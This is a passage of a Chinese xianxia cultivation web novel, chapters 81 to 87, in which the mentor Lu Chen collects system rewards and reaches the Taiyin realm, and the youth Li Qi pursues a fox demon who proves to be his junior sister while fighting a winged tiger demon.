如陆尘所预料的那般,叶无悔眼神飘忽,思虑良久后,语气稍冷的道了句多谢了,而後轻点脚步,一袭白衣在月色下漂浮,就此离去。
系统的机械声也随即在陆尘的耳边响起。
【夫子之责行使完毕】
【宿主将获得以下回馈奖励】
【一:三百年上阳修为】
【二:小神通——吞天】
【三:秘术——大象无形(可隐匿自身气息行踪,於天地无所不在,又无处可寻)】
叶无悔的命格为紫金之色,系统所给予的奖励亦是极为丰厚。
当那声音静下时,便有三道光点在陆尘的心海之中漂浮着。
与先前从百里浮华身上获取得系统奖励一同安静的悬浮,等待着陆尘是吸收。
陆尘抬头看了眼天色,他将时间卡的很死,自己指点百里浮华是在昨夜,而如今劝退叶无悔,则是在今日临近子时之时。
完美卡在了一天的临界点上,当叶无悔离去并不多时,便又到了新的一日。
直到这时,陆尘才又转身看向淮北。
“你觉得他实力如何?”
他指向叶无悔身影离去方向问道。
淮北面色凝重。
“强,很强。”
那人不仅是境界上比自己高出一境,更为可怕的是那隐匿气息的秘术。
若不是陆尘将那叶无悔点出,自己必定会遭到其偷袭重创。
到那时,哪怕是手持天阶灵宝恐怕也无力回天了。
“所以我和你说,这天下英雄如过江之鲫,本该是你今日该学会的道理。”
陆尘又道。
“他身上的杀伐气不是你们三人能比,这种气息,并非是苦修便能养出的,而是真真正正的从尸山血海之中走出过的人才会有这般气息。”
“再加上他那藏身的秘术,当其现身之时,必定是一击死手,不会给人任何机会。”
“哪怕是你手持天阶灵宝,不死也要重伤逃窜。”
陆尘目光平静而语。
他的眸子里有雾气浮现,而淮北的命格生平亦是尽数落在了他的眼中。
【姓名:淮北】
【年龄:一十八】
【境界:紫府三重】
【命格:紫色——一方至尊】
【生平:出身皇朝仙门,自幼身份尊贵,天资过人,且所遇之人皆为善,故而少年亦如向阳花木,乐观豁达,后入百朝战场,因身负饕餮令牌而遭同辈天骄袭击,身受重伤,亡命而逃。因此在百朝大战後期并未显露锋芒,错失良机。後於圣地之中有所悟,终成至尊。】
【近期遭遇:从拍卖场中拍得一道饕餮洞府的令牌,遭人截杀。】
这命格生平与陆尘在拍卖场中见到的一般,显然是还没有变幻。
当时的拍卖场中,落下的诸位天骄一共有三紫一金。
金色命格者为得天独厚,福缘匪浅的百里浮华,而三紫中的两紫,一人为淮北,一人为叶无悔。
陆尘在看过二人的生平之後,便是知晓抢夺淮北饕餮令牌并将其重伤者,便是叶无悔。
而叶无悔在夺得那饕餮令牌入饕餮星君的洞府後,不但没有夺得什麽至尊传承,更是几近身死道消。
这一结果,对二人无疑是双输。
故而陆尘令林炎与段凌云二人找上
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淮北,三人与众多截杀者在这争斗一日有馀,陆尘这才现身,将叶无悔点了出来。
若是林炎与段凌云不在的话,淮北恐怕早便受了叶无悔的重创,亡命奔逃起来。
“所以你是为了救我才……”
淮北挠了挠头,声音有些微弱的尴尬说道。
陆尘坦然点头。
“我天阶灵宝都拿的出来,还需算计你这点东西吗?”
陆尘笑了笑又道。
淮北脸上歉意浮现,他当下向陆尘拱了拱手,而後主动的将那道令牌拿出。
“这给你们吧,若不是先生相救,我确实是凶多吉少。”
能走到这一步的天骄可没有什麽愚笨之人,陆尘稍一点,淮北也便知晓他所言非虚,若不是陆尘相救,自己确实是会凶多吉少。
当下淮北亦是极为坦诚的将那令牌取出,并未有丝毫的犹豫不舍。
陆尘也并未推辞,转头向段凌云说道:“你拿着吧,荒古神体的气息要更受得住饕餮之气力一些。”
段凌云一愣,有些不知所措的看向林炎,二人毕竟是一同前来,夫子直接将这令牌给了自己,少年倒有些不敢受。
林炎倒是十分坦率地笑道:“夫子说的没错,你拿着就好。”
段凌云这才接下这道令牌,而後向陆尘郑重行礼,又有些感动的看向林炎。
他并没有多少朋友,甚至根本就没有。
但今日起,自己似乎有了。
“这些赤阳石你收下,正好是这道令牌的价。”
陆尘一挥手,便有一芥子袋浮现在半空之中。
淮北赶忙摇头。
“救命之恩千金难还,再说我也不缺钱。”
少年脸上愧疚神色消散,当下爽朗一笑,眼睛里又冒出那般万分崇敬的目光看向陆尘。
“又是剑修,又是术士,又是个大好人,先生你太帅了!”
他忍不住的赞叹道。
“我原以为我已经够帅了,但比您真是差上十万八千里!”
这话听着十分狗腿,但少年的脸色倒是十分诚挚,看的出是在由心赞叹道。
陆尘听着羞耻症犯了,赶忙转过身去,带着林炎等人离开。
少年则是在身後嚷嚷着。
“总有一天!我也会这麽帅的!”
他的声音穿过长街小巷,久久未散。
第八十二章 太阴
【夫子之责行使完毕】
【恭喜宿主获得大量回馈奖励】
【奖励一:三百年上阳境修为】
【奖励二:天阶灵宝——养剑葫】
【奖励三:天阶下品心法——游龙影】
陆尘并未走几步,系统的机械声音便是在其耳边又是响起。
这短短三日间,陆尘一连获得两紫一金的回馈奖励,属实是收货颇丰。
而这般情况,也只有在类似百朝大战这般天骄汇聚的战场之中能遇见的了。
甚至於这还并非是整个战场的核心之处,待得众人向灵脉之地汇聚时,那才是少年天骄们真正的战场。
……
“你随我来一趟。”
临近厢房时,陆尘忽地转头对林炎说道。
林炎也并未有何疑惑,跟随陆尘入静室之中。
“饕餮令牌我直接给了凌云,会不会觉得有些可惜。”
二人入座,陆尘抬起青瓷茶盏,轻笑问道。
“倒是有点,不过确实是凌云更合适些,哪怕夫子不说,我也会给他的。”
林炎十分坦然而言。
陆尘点头,他知晓林炎所言非虚。
“我有样东西赠你。”
听得陆尘此言,林炎稍稍一怔。
只见陆尘稍一拂袖,便有蓝白色的火焰漂浮在半空之中,令天地之间一瞬燥热了不少。
这一好似鬼火般的火焰刚一出现,林炎的瞳孔便是猛的瞪大,不禁倒吸一口凉气。
而其体内,亦是隐隐约约间有些许的能量波动,想必便是那道原先藏於灵石之中的魂灵。
“此火可认得?”
陆尘笑问道。
林炎郑重点头,眸子里有炽热之意涌现。
“收下吧,此物於你方才能尽显其威,於我而言倒是有些鸡肋了。”
陆尘笑了笑说道。
“多谢夫子!”
林炎并未有任何推辞,在其心中,亦是将陆尘视为真正的师尊,故而不会去说些谦让推辞的客套话。
“这半年,你五人各自寻自己的机缘去,若有要事,便用玉牌与我联系。”
“半年之後,我们在段眉关集合,往龙脉而去。”
陆尘又对林炎说道。
百朝大战广袤无比,各处皆有些不小的机缘,让林炎等五人一直绑着一同行动,自然不是明智之举。
再者真金亦需火炼,无论是林炎还是段凌云又或者是其馀三人,总归是要自己在这天骄汇聚之地闯上一番,那才能真正有所成长,破茧成蝶。
林炎郑重点头。
他其实本就在想着,找个何种借口先脱离众人一段时间,毕竟以其体内老者的见识,一人独行,反倒是自在的多。
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“叫凌云来吧。”
陆尘轻抿了口茗茶,当下又道。
林炎深行一礼,转身离去。
在陆尘那弥漫着一层雾气的眸子注视下,林炎头顶的紫金之色已经是金色占据大头,而携带着少许紫色了。
想必百朝大战结束之时,便能真正的蜕变为金色命格。
夺玉之人并非孤身一人,哪怕有朝一日陆尘能轻易胜过那夺玉之人,陆尘也需要助力,需要借势。
而他所指点的这些天骄们哪怕成长的不会那麽快,可这些气运之子每一人身後都有着极其繁密的关系网路,站着那些古老而又强大的至尊们。
当他们交织在一起时,哪怕是天渊也不能撼动。
并不多时,段凌云也是叩门而入。
陆尘将《太上开天经》的前六篇传之於他。
段凌云本就身负荒古神体,修行《太上开天经》更是事半功倍,如虎添翼。
至於林炎,其修习心法契合异火,修行《太上开天经》倒并未有多大的增益。
段凌云强忍着眼泪拜谢而去,而剩下三人,陆尘亦是一一赠予了些物件。
待得将这些琐事交代完后,陆尘便是闭目冥想,吸收系统所给予的各般奖励。
只见得陆尘内视心海,那代表着修为的三道光点便是瞬间涌现出耀眼如赤阳的亮光,将整个心海填满。
而麒麟玉影底下,有一道旋涡悄然浮现,好似深渊一般不断吞噬着充斥着
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整个心海的亮光,可即便如此,这赤阳般的光亮依旧无比磅礴,不断的在周天经脉之间流转。
与此同时,紫府之上的那轮赤阳亦是显现出第三道光轮。
上阳境三转。
直到此刻,那光芒依旧没有消散,源源不断的照耀着整片心海。
只见得心海之中的所有灵气皆是翻涌起来,而後犹如万千雨滴一般,齐齐的往一个方向汇聚融合。
起先是一个填满整片心海的庞大球体,而後不断收缩,不断收缩,直到变得如水滴一般大小。
水滴呈银白色,分两节,散发着极致的阴寒之感,即便是那轮赤阳也无法将此阴寒之感稍许驱散。
此即太阴境!
太阴境者,其生机如水,肉身残缺,亦可顷刻复生。
其灵气若水,源源不断,取之不尽,用之不竭。
哪
怕是上阳境三转的修士,也可以被低境界的紫府修士用数量耗死,直到灵气枯竭,再无法沟通天地之力。
而太阴境强者便绝不会出现此般境况,哪怕你用千千万万个紫府修士去消耗,也不可能拖到太阴境强者灵气衰竭之时。
良久后,陆尘睁开眸子,吐出一口浊气。
一瞬之间,已至太阴二转之境。
他感受着身体的各般变化,只觉得玄妙无比。
隐隐之间,有一股磅礴生机在其体内流转,好似春雨润过而万物生长一般。
而其灵气周转亦是达到一个极为恐怖的地步,宛如呼吸一般延绵,片刻未断。
要知晓,有着花神之蕊的加持,陆尘灵气流转的速度本就相当之快,此时迈入太阴境,这花神之蕊的奥秘才彻底显现。
哪怕是动用神通之术,陆尘亦是只需稍等片刻便能将灵气回转过来。
不会像其他人一般,即便身负神通,也只能当压轴的大杀器使用,不然神通之术一处还未定胜负的话,自身灵气便会一瞬抽空,陷入极大的危险之中
灵气无外乎比较三方面,其一是厚度,其二是流转,其三是属性。
所谓厚度,大抵可以用境界直接比拟,就像太阳境之灵气总归是要强过紫府境。
第八十三章 笼中鸟
而所谓流转,则是指灵气在周天经脉以及吸收外界灵气的流转速度,哪怕灵气再浓厚,若没有这灵气流转,亦是有枯竭一日。
流转的越快,在同等境界的交手之中便越是占优,试想双方同样使用一道天阶武技,一旦自身的灵气流转的更快,那便能更早的使用下一道天阶武技。
这种生死交锋之中,尤为关键。
至於灵气属性,则是由於修行心法的不同,使得灵气所附着的大道亦是不同。
而混沌气,则是公认的最强灵气属性,没有之一。
当然《太上开天经》修行极为困难,再加之只有前六篇在圣地之间流传,后九篇皆是失传已久的断章,故而并非适合所有天骄修行。
像林炎大道亲火,修行完整并非断章的火属性心法,自然要强过《太上开天经》。
如今陆尘身负花神之蕊以及混沌之气,哪怕只单论灵气而言,不去谈及神通秘术之类的东西,其在太阴境内,也鲜有人能企及。
将灵气彻底吸收消化后,陆尘便开始领悟那几道神通与秘术。
小神通——吞天。
此乃古之大妖饕餮所天赋神通,有吞天彻地之能,虽并不能像饕餮之气那般吞噬他人修为化为己用,但亦是极为恐怖,与真凰血术一般,是杀伐之气极重的一门神通。
至於大象无形,则是一门秘术,可隐匿身形,宛如大道一般无处不在,又捉摸不定,无迹可寻。
秘术极为稀有,在天阶武技心法之上,在神通之下。其大多有着极为玄妙的作用,与天地法则所相悖逆,就好像是钻了天地法则的漏子一般。
如先前陆尘从张不染身上获得的血煞之术,亦是一种秘技,可吸收血煞之气,在短时间内迅速提升自己的实力。
这般秘术虽是副作用极大,但生死交锋之时,亦是一张极为重要的底牌。
如今陆尘身上所负神通秘术之广,恐怕是真一真我这两境界的真君,亦是有所不及。
“太阴,神游,封侯,封王,真一,真我,至尊。任重而道远啊。”
良久后,陆尘心中的激动之情已经消退下来,又轻叹了一声道。
未成至尊,皆是蝼蚁尔。
如苏月仙那般,哪怕与整个东域为敌,立身至尊之境,亦是进退自如,无人可拦。
即便道君出世,也不敢真和苏月仙以命相搏,而是选了更为稳妥的法子,将之镇压流放。
那夺玉之人想要在至尊境界时再完全夺舍,亦是因为只有在此境界时,方才可真正的将麒麟玉化为己有,就此一步登天。
想到此处,困意一瞬间全无,陆尘站起身来走到窗边,轻推窗扇。
窗外明月高悬,有风吹过,润人心脾。
陆尘长袖一拂,便有一面水镜在窗外凭空浮现。
水镜之中,只见剑眉如墨,那双狭长的眼眸中,好似藏着一口千年古井。
那张脸生的极为好看,哪怕是女子见之,也不免为之惊叹,貌美胜女子,又并不阴柔娇弱,反而因那如墨般的剑眉显得无比坚毅。
不知是因花神之蕊还是麒麟玉复苏的缘故,总之潜移默化间,陆尘的样貌变得越发俊美,虽比不得苏月仙那般羡煞鬼神的容貌,但也与长孙漠遥等人大抵在同一个水平线上。
倒也难怪当初那些长老们觉得他是在出卖色相。
他的发丝极为规整的束起,偶有几缕散落的碎发随风飘摇,如同阳春弱柳一般,给人一种飘逸之感。
青年的眼神中有丝许的疲惫之色,但更多的,是坚定与沉着。
这些日子以来,境界实力突飞猛进的陆尘倒并没有什麽得道之人的逍遥缥缈之意,相较起来,反倒是道台境时,自己才真的逍遥自在,随心所欲,不用思虑什麽琐事。
境界越高,倒越像是带着沉重的枷锁,步履蹒跚,举步维艰。
隐隐约约间,陆尘觉得自己看到了些什麽,可等他想要真切的看清是何物时,却又是模糊不清,一片朦胧。
天渊,地府,帝路。
哪怕后两䭾与如今的自己并没有什麽关系,但陆尘觉得只要自己走下去,总归是会到达那一步。
届时那些在史书中语焉不详的片段,恐怕也会缓缓掀开,浮现隐藏在深海之中的巨型冰山。
至於天渊,那更是个死结,避无可避,退无可退。
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无论是谁先找上谁,总该要有一方身死为代价,这才能给这场多年前的血债画上一个句号。
天地之大,却并不使人自由。
陆尘稍一拂袖,散去那面水镜,他微微抬头,目光向极远处眺望。
月明星稀,有乌鹊飞过,虽翱翔天际,亦与笼中之鸟,并无分别。
…………
内圈,离恨花谷。
有位女子醉倒於花群之中,身旁是酒水洒落的酒壶。
她一袭淡绿色的罗裙,轻柔好似
花瓣,三千青丝散落於花间,与身旁的繁花所相映成趣。
女子醉眼朦胧,微眯着望着天上皎洁明月,她嘴唇微动,像是在小声的呢喃着什麽,其两颊绯红,若山上之桃花,令人
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心旷神怡。
微风拂过,便有花瓣纷纷而落,飘落在女子眉眼与罗裙之处,好似给其盖了层轻纱一般。
此间本不是花季,但女子一来,便是百花盛开,铺满缤纷大道,宛若迎接花中仙子一般。
“我叫寇筱筱,寇筱筱。”
女子自顾自的呢喃着,一瞬之间已是醉意朦胧,不自觉的便闭上了眼。
睡颜恬静,伴之繁花吹落,极为动人心魄。
良久后,女子又睁开眼,眼神中已经再无醉意。
她的眸子变得十分清冷,陌然若神人一般,并不沾惹人间丝毫的烟火。
见到自己醉倒於花丛之中,她眉头微蹙,像是有些头疼一般的揉了揉眉心之处。
那酒壶仍倒在她的脚边,酒香与花香交融,便又是沁人心脾,微微间有沉醉之意。
但女子全然没有这般惬意。
她罗裙彩带一挥,花瓣飞舞,叶叶皆若飞刀,凌厉至极。
“希望你能活着到龙脉之处。”
“此番情缘,由我亲手斩断。”
女子自顾自而语,眸子里杀意毕露。
……
内圈,白首关。
有男子背剑出城,其身形佝偻,像是背负重物一般,他低着头,面色极为的阴沉死寂。
其长剑剑柄之处,有一道竖瞳,并非是什麽装饰之像,而是实实在在的瞳孔,一睁一闭间,满是猩红之色。
总之男子看着极为诡异,好似魔道一般。
当然所谓魔道,并非不可修,七大圣地也从未说过堕入魔道者不予收取的话。
但人们大抵对魔道都有些惧而远之的态度,所以哪怕众人知晓男子是护道者而非什麽参赛之人,也离得他极远,生怕男子一抽风就要杀人。
毕竟自己的命也只有一条,若是死了,哪怕护道之人再怎麽受七大圣地追责那也没有任何意义了。
男子背着那妖邪之剑走了很远,直到到了河边,他才停下脚步,有些愣神的看着河中之影。
只见河中映照着的那张脸上,满目疮痍,好似被千刀万剐了一般
男子抚摸着自己的脸庞,眼中升起一抹怨恨之意。
他舔了舔嘴唇,眼中紧接着升起疯狂的妖邪之色。
“珍惜你现在的时间吧。”
“我的好三弟。”
男子的声音沙哑,好似阴影中吐出蛇信子的蛇。
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第八十四章 玄门山下有白骨
“师妹,听说长雷灵脉中有头大妖,有不少修士在赶往那边,我们也去吧,说不定能捡个漏什麽的。”
段眉关外不远处,有一队人马踏着荒地缓缓而行,一行人皆身着统一服饰,想来是出自同一皇朝,且看那锦衣玉制,显然是位格不低。
有位少年郎驭马到队伍末尾的娇小少女身旁,有些期待的问道。
少女摇了摇头,眉宇间有着些许忧愁。
“师妹有什麽顾虑吗?”
少年轻咦了一声问道。
不知为何,自从进了百朝战场之後,原本活泼灵动,叽叽喳喳好似麻雀一般的小师妹便变得十分沉默寡言,像是心底积压着什麽心事一般。
“师兄不用担心我啦,可能有点想家了,一会就好。”
少女忽地抬起眸子,带着笑意道。
只是不知为何,少年总觉得少女脸上的笑意像是硬生生挤出来的,十分的勉强。
见少女这般心绪,他心里也莫名的有些难受,一时间也不知道说些什麽,就默默的驾驭着灵驹跟着少女身後。
少年姓李,单名一个七字。
原先少年总觉得自己的名字不够好听,取得极为随性,就好似张三李四王五这般随处可见。
他许多次都想着要改名,毕竟怎麽说自己也是一国境内有头有脸的天骄人物,当别人提起自己时,总是李七李七的说,那多不拉风呀。
但後来见着了少女,李七倒是觉得自己这名字取得不赖。
少女入宗门的时间并不长,仅仅只有三月多些。
少年还记得初见少女之时,少女便好似山雀一般,叽叽喳喳的叫个没停。
师兄。
师兄。
师兄。
那段日子里,这两个字便好似银铃一般,不断的在李七的耳边回荡着,根本就挥之不去,哪怕是入梦之时,亦是会有所幻听。
少女名叫洛九,宗门上下都唤少女为小九,只有李七总是师妹师妹的喊着。
到这时,少年便不觉得自己单名为一个七显得极为随意了,师妹不也单名一个九吗?
倒是颇为般配。
少年总是不自觉的这般想到。
当然临行前,少年已是知晓自己这单名一个七的含义了。
这倒并不是母亲随意取的这个名字,而是这个七,指的是父亲七入妖脉杀妖一事。
少年从未见过自己的父亲,他只知晓自己父亲是个大英雄,无论上到皇亲贵族,亦或是下到乞䭾戏子,谈论起少年父亲时,总会不自觉的露出一抹仰慕的神情。
这令少年对那未曾谋面,自己尚未出生便身死的父亲亦是钦佩无比。
他的父亲是死在妖脉之中的,据身边的长辈说,原些青丘皇朝时隔数年,便会受到一股兽潮袭击。
当兽潮降临之时,朝中四境之内便会伤亡惨重,白骨无数,无论是皇族亦或䭾是境内的仙门百家,亦是不可阻拦。
至於为何,那大抵是因为皇族与仙门百家总是各怀鬼胎,并不愿出全力去阻击兽潮,总是寄希望於死伤境内的上亿凡尘,以此令兽潮自行消散。
这般法子倒也有用,兽潮并非一股脑的席卷境内,其中亦是有领头的大妖。
大妖也看出那些被抛下的上亿凡尘是皇朝这方给出的筹码,亦是极为默契的将这些区域席卷过後,便识相的就此退
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去。
这般你来我往下,临近妖脉的那一方国境便变的荒无人烟,再也无法满足妖兽们的需求。
兽潮愈演愈烈,山下一片狼藉,山上仙门一心玄修,不问世事。
後来是少年的父亲凭空出世,带着他那一辈最出色的几位年轻人赶赴妖脉之中斩妖。
这些年轻人皆是皇朝百家仙门之中不世出的天之骄子,莫说是闯入那大妖云集的妖脉之中了,哪怕是入个小些的大能遗藏,也会被宗门派出护道䭾紧密相随。
但年轻天骄被是不愿被拘束的。
他们这一辈人是看着山下惨状成长起来的一代人,所以当他们手握刀剑之时,便决意绝不能向先辈那般懦弱,以牺牲山下凡尘换来的山上玄修,他们并不想要。
玄门山下的累累白骨,他们也并不愿见。
而少年的父亲,便是那一代天骄中的第一人。
他联络起仙门百家中满怀热忱的天骄踏入那妖脉之中,执剑欲斩妖。
百年来,第一次有人族踏入这片妖脉。
没有人知晓那一日发生了什麽,总之年轻天骄们死伤殆尽,唯有少年的父亲一人回来,且经脉尽断,几近将死。
一时之间,少年的父亲便从众人艳羡的第一天骄变成了人人喊打的过街老鼠。
仙门百家们齐齐上其宗门讨要个说法,若不是宗门老祖现身阻拦,少年的父亲恐怕早便被那些人的唾沫给淹死过去。
所有都以为少年父亲要就此一蹶不振之时,少年父亲却又破而後立,十年之内连破数境。
一连问剑妖脉五次。
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第八十五章 月下逐妖
第七次时,少年父亲再没能从妖脉之中走出,只是这之後,亦是再没有了妖兽之潮。
这场屠戮皇朝凡尘百年的兽潮终於结束,而代价则是一代天骄皆死尽。
对於少年父亲,山下之人皆是奉若神明,为其立庙上香,山上仙人也是心神往之,钦佩不已。
原先因宗门天骄死在妖脉之中而寻上少年父亲的那些宗门,到此时反而对少年父亲丝毫没有怨言,而且将门内天骄死在妖脉一事大加宣扬,就好似是宗门有意让他们去杀妖一般。
至於李七母子更是因少年父亲而受拂照良多,从无一人敢欺凌这孤儿寡母的。
毕竟人心所向,如大势所致,没有人能与之相抗。
所以到现在,李七觉得自己的名字取得很妙,既代表了父亲的英雄事迹,又和小师妹一般,就是用数字作为名字,当真是有缘。
少年总会这般不自觉的想到。
天色渐晚,众人在一条蜿蜒不知尽头何处的河边安营扎寨。
护道的老者在营外布置着防患妖兽的阵法,而皇朝中的一行少年少女们则都坐在河边,零零碎碎的说些有的没的。
众人极为默契的将位置往两边靠,硬生生的将李七与洛九两人挤在了一起。
月色照耀下,李七小心翼翼的微侧着目光打量少女脸颊,不知为何,少女的脸色显得异常惨白,好似生病了一般。
他稍稍愣了愣,想说些什麽。
但还未等他开口,少女便是撑起身来,扶着额头离去。
“我先休息去了,有些头疼。”
她轻声而语,便向营中而去。
李七看着少女离开的身影,微微愣神。
少女的状态十分不对劲,不知为何,自从进入百朝战场之中,少女便一直是这般有些病殃殃的模样。
李七一开始还总是询问,但少女每次都对这个话题十分敷衍,随口两句便不愿多说什麽,久而久之,李七也不好再多问些什麽东西。
“快去啊!愣着干什麽!”
就在李七愣神之际,身旁又有一少女脸色十分焦急的催促道。
“啊?”
李七不明白她是何意。
“唉呀!小师妹是想和你单独相处,我们这人多眼杂,可不好说话。”
少女眯着眼笑嘻嘻的说道。
听到少女这话,周遭的师兄弟们也跟着起哄,十分期待的看着李七。
李七看着众人的目光,当下亦是打定主意,倒并非是想和少女有什麽瓜田月下的独处空间,而是想问清少女身上到底发生了什麽,是有什麽心事?亦或是生了什麽病?
总之李七并不愿意看到少女脸上那副神情。
他站起身来,径直向少女的睡营中走去。
“不要进来。”
待得少年站在营外时,营内忽地传来一道极冷的声音,好似是凛冬的寒风一般,刺骨异常。
这是李七从未听过的声音,在他的记忆中,少女的声音还是像那屋檐下的银铃一般,有风一吹过,便会发出极为清脆的响声。
师兄。
师兄。
师兄。
这才是少女的声音才对,而不是像如今这般,冰冷的好似刺骨的寒风。
李七的眸子微微垂下,有些失落神色。
他并未离开,也并未进入营帐之中,而是站在营外,小心翼翼的问道:“师妹,有什麽事都可以与大家说的,不用自己一个人硬撑着。”
李七本来想说“有什麽事可以与我说的”,但话到嘴边,又将这“我”字换成了大家。
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“我没事,你不用一直问的,问多了我也会烦的。”
营帐之中,少女的语气依旧冰冷,甚至有丝许的不耐烦。
李七手微颤了一下,想要掀开那营帐帷幕,但最终,他还是放了下来,在心中暗叹了口气。
“那师妹早些歇息吧。”
他轻声道了一句,回到自己的营帐之中,在席间辗转反侧,丝毫没有睡意。
夜渐深沉,待得众人冥想入睡之时,忽地有一声好似狐狸般的啼叫之声响起,而後便有一股妖气宣泄,笼罩四野。
众人很快便冲出营帐之外,十分警惕的巡视四周。
百朝战场的妖兽本就要比外界强的多,再加上夜晚之时,受月魄笼罩,妖兽易入狂暴之态,哪怕有阵法相护,亦是极为凶险。
而在众人巡视之时,李七却是心有所感一般,猛的向少女的营帐之中奔去。
他掀开营帐,如他所不愿见到的那般,少女果真不在营帐之中。
李七发了疯一般的望向四周,冥冥之中,他好似感受到了什麽,稍一侧身,便见远处有一道狐妖身影闪过。
没有丝毫的犹豫,少年一跃跳出阵外,发了疯一般的向那狐妖身影奔去。
他知道,一定是那狐妖掠走了洛九,洛九身上的气息,他可以很清晰的感知到。
同门中人都有些吃惊
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的看着李七,但当下正值深夜,若是冒然闯出阵外,无异会万分凶险。
有几人也欲出阵追上李七的步子,但都被护道䭾给拦了下来。
“回来!他要找死,你们也要吗?”
老䭾怒喝一声,苍老的脸上满是怒意。
他并非对李七见死不救又或䭾是有什麽厌恶过节,相反,李七是他看着长大的孩子,他比谁都希望李七活的好好的,可以像他父亲那般名留青史,成为世所敬仰的大英雄。
可刚刚李七一溜烟便跑出去了,老䭾便知晓他多半是要九死一生了。
他不能为了自己喜欢的一个弟子,而去让这批天骄们都冒这个风险。
所以老䭾才会怒喝一声,将所有人都给劝退。
在众人面前大发雷霆之後,老䭾的脸色又平静下来,他望向极远的当下,忧心忡忡。
“活着带她回来吧,孩子。”
老䭾叹了口气,目光幽幽。
月色下,少年发了疯的狂奔,一身灵气尽数宣泄而出,没有丝毫的保留。
他还是第一次这般拼尽全力,就好似心底藏着一头将要怒吼的雄狮一般。
那狐妖的速度也毫不逊色,在月色下犹如鬼魅一般穿行,令人捉摸不定。
若不是少年对於洛九的气息感应的异常敏感,恐怕早就要丢失了这狐妖踪影。
很快的,二人便到了一处山谷的峡口之地。
忽地有一头气息异常恐怖的大妖自山顶处一跃而下,拦在那峡口之中,眸子里泛着凶恶目光。
那是一头虎妖,背生双翼,尾如蛇蝎。
它咂吧咂吧着大嘴,看着那狐妖,瞳孔里流露出贪婪目光。
少年亦是停下步来,心情异常沉重的看着那头虎妖。
虎妖的气势迫人,再加之生有异象,显然是头彻彻底底的大妖,绝非自己亦或䭾是这狐妖所能抗衡的。
“把师妹还给我,我与你联手对敌,否则我们三人都要死在此处。”
李七冲着狐妖身影喊道。
狐妖扭过头去,狭长的眸子里闪着异样的光。
李七微微一愣,总觉得这般神色自己好似在何处见过一般。
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第八十六章 亡命之徒,无路可退
“她已经被我吃了,滚。”
狐妖的声音极为好听,宛若空谷之中的回响一般。
只是这般音色说出来的话,却是极为刺骨,如凌冽寒风一般。
听到这话,李七在原地一愣,双手止不住的颤抖。
但很快,他便又冷静下来。
“你骗我,我能感受到师妹的气息。”
李七咬着牙道。
他确确实实还能感受到洛九的气息,所以李七并不相信狐妖之言。
世人常说狐狸狡诈,如今一见,果真如此。
狐妖眸子眯起,刚想说些什麽,便是猛的往崖壁之上一跃,躲开了那虎妖的致命一击。
虎妖的妖气异常惊人,仅仅是那一击四散下来的馀威,便是使天地之间多了几分压迫之气,令人丝毫喘不过气来。
李七扫视二者片刻,便打定主意要先从虎妖这边脱困才行,若他此时与狐妖缠斗起来,二者与师妹定都要成为这虎妖的盘中餐。
这般想着,李七便不再犹豫,双手结印,唤出一件大道气息浓郁的灵宝。
灵宝为塔状,共有七层。
这是一件地阶下品的灵宝,唤为七星镇妖塔,乃是宗门老祖赐予他的护身之物。
灵宝本就稀罕,更别谈是一件地阶灵宝了,这般贵重之物,向来只会交给一宗传承之人,而宗门老祖这麽早便将这灵宝交於少年,可想而知对其的器重程度。
少年知道自己与这虎妖的实力相差过多,一出手就必须使以雷霆手段,这样反而会有活下去的机会,若是与其战斗,则不会有半分生机。
只见少年口中念念有词,那巴掌大小的宝塔便是散发着金色光芒,不断的放大,直到宛若真正的高塔一般,猛的自高空而落,将那咆哮着的虎妖笼罩在其中。
“快跑。”
李七冲着狐妖大喊一句,二者便猛的向山谷外而去。
就在其身影如闪电般猛的向外急掠之际,忽地有一道惨叫之声自其身後响起。
李七顿感不妙,只见他一回头,便见那狐妖竟是挡在自己身前,硬生生的挨了从宝塔中挣脱而出的虎妖锋利一抓。
狐妖凄惨尖叫一声,便如薄纸一般的飘然倒地,长长的爪痕烙印在它那极为漂亮的皮毛之上,鲜血不断渗出,将之染的鲜红。
少年有些发愣的看着狐妖,他不知道,明明是头妖兽,为何要替自己挡下那一击。
难道是因为自己用宝塔困住虎妖片刻,狐妖心生感激?
没道理啊?
但无论如何,少年也不愿狐妖死在虎妖手中,毕竟师妹还在狐妖手中,如狐妖出事,师妹肯定也是凶多吉少。
“你先走,我来拖住它。”
少年站在狐妖身前道。
狐妖受了重伤,少年也并不担心它跑了之後自己便会找不到它。
现如今要担心的,更多是如何从这虎妖手中活下来。
少年双手握着长刀,起先手微微有些颤抖,心脏还是砰砰的跳个不停,可当一想到自己背负着好几条性命时,少年的手便稳了下来。
他摆好刀势,心趋於平静。
少年的眸子缓缓闭起,一瞬之间,天地好似安静了不少。
唯余耳边吹过的风,以及那虎妖的咆哮之声。
他紧紧握住刀柄,五指微微发力,便有青筋浮在手臂之上。
少年的双腿微微分开,使得自己的重心下沉,宛若是矗立千年的古塔。
忽然间,他似乎听到了什麽,以极其细微的动作调整了身体的角度,紧接着双臂肌肉便是瞬间紧绷,以不可思议的速度斩下一刀。
刀刃在空中划过一道极为耀眼的弧线,带着凌厉的风声,好似要将世界斩做两半。
刀痕激荡而出,猛的与那袭来的虎妖相撞。
只见虎妖
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被这一刀逼的连退数里,猛的怒吼一声,瞳孔里杀意毕露。
有一道血痕在其肩上浮现,正是少年那一刀所致。
生死之间,少年顿悟了一丝刀意。
只是这一刀挥出后,手中的灵气便是无故的崩碎,似乎是受不住这浩荡宣泄的灵气。
“你快走,记得把师妹送回营地之中,虽然世人都说狐狸狡诈,但我毕竟救了你一命,我相信你,也请你答应我这最後一个请求。”
少年转过头去,万分诚恳的望着狐妖。
他知晓,如今不可能两人都安然离开,如今之计,只能是自己留下来拖住虎妖,让这狐妖把小师妹送回营地之中。
狐妖狭长的眸子看着少年,不知在想些什麽。
不知为何,李七越看这双眸子越觉得彷佛似曾相识一般。
但如今也由不得他细想,那虎妖一瞬之间便是袭来,少年施展自己的最强武技与之交锋,却亦是以卵击石一般,不堪一击,重重的砸在荒地之上。
“快跑啊!你还在等什麽?”
血泊之中,少年看着呆愣在原地的狐妖放声大吼道。
他猛的咳出一道鲜血,只觉得自己五脏六腑好似要炸裂开来一般。
狐妖并未离去,而是忽地迸发出一道极为强烈的气息将虎妖喝退数里,而後缓缓的走到少年身前,在少年错愕的目光
中,将额头抵在少年额头。
直到此刻,少年终於意识到那双眸子为何看的这般眼熟了。
“师妹……”
他呢喃一句,抬起颤颤巍巍的手。
“二位莫急,还没到献祭的地步。”
就在这时,忽地有一道声音传来,只见有位束发男子飘然落地,看着一人一妖轻笑说道。
男子青衫长袖,月色之下,恍若神人。
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第八十七章 罗网
